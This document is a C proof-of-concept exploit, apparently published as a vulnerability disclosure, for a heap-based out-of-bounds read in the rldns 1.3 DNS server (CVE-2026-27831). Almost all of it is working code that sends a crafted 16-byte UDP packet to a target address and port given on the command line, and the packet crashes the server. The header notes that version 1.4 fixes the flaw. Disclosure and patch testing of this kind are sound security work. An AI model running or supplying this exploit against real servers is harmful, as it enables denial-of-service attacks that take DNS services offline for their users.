/* # Exploit Title: rldns-1.3 remote denial of service # Google Dork: N/A # Date: 2026-02-26 # Exploit Author: Antonius # Vendor Homepage: https://indodev.asia # Software Link: https://indodev.asia/downloads/rldns-1.3.tar.bz2 # Version: 1.3 # Tested on: Kali linux 2025 # CVE : CVE-2026-27831 # Description: This is proof of concept exploit for remote heap based out-of-bound read at rldns version 1.3. rldns is an open source DNS server for linux, freebsd & netbsd, running on x86_64 architecture. Rldns Version 1.3 has a heap-based out-of-bounds read that leads to denial of service. Version 1.4 contains a patch for the issue. Vulnerability discovered by : Antonius */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> int main(int argc, char *argv[]) { int sock; struct sockaddr_in server; unsigned char packet[] = {0x12, 0x34, 0x34, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x41, 0x42, 0xff}; if (argc < 3) { printf("[-] usage : ./exploit <target ip> <port number>"); exit(-1); } char *ip = argv[1]; int port = atoi(argv[2]); sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("[-] failed to create socket"); exit(-1); } server.sin_family = AF_INET; server.sin_port = htons(port); inet_pton(AF_INET, ip, &server.sin_addr); ssize_t sent = sendto(sock, packet, 16, 0, (const struct sockaddr *)&server, sizeof(server)); if (sent < 0) { perror("Sendto failed"); } else { printf("Successfully sent %zd bytes to %s:%d\n", sent, ip, port); } close(sock); return 0; }